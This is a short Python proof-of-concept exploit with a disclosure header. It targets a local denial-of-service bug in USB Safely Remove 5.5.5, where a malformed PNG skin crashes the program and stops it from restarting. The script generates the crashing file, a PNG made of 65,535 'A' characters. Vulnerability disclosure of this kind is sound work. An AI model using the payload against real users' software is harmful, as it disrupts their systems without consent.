#!/usr/bin/python

# Exploit Title: USB Safely Remove 5.5.5 - Denial of Service
# Date of Discovery: August 31 2017
# Exploit Author: Rithwik Jayasimha
# Author Homepage/Contact: https://thel3l.me
# Vendor Name: Crystal Rich Ltd.
# Vendor Homepage: https://safelyremove.com
# Software Link: https://safelyremove.com/startdownload.htm?v=5.5
# Affected Versions: <=5.5.5.1250
# Tested on: Windows 7
# Category: local
# Vulnerability type: Denial of Service

# Description
'''    USB Safely Remove versions < 5.5.5 crash when a skin containing a malformed png image is usedself.
    The skins can be found under <program path>/skins and if the user is sent a skin containing a malformed skin,
    the program crashes. Additionally, it will refuse to start again (beacause it keeps crashing until the directory
    containing the installed skin is removed.)'''
# 0012EF68  41 41 41 41 41 41 41 41                          AAAAAAAA

# Generate a .png file using the python script and replace any of the default skin images.

file = "crash.png"

buffer = "A" * 65535

f = open(file, "w")
f.write(buffer)
f.close()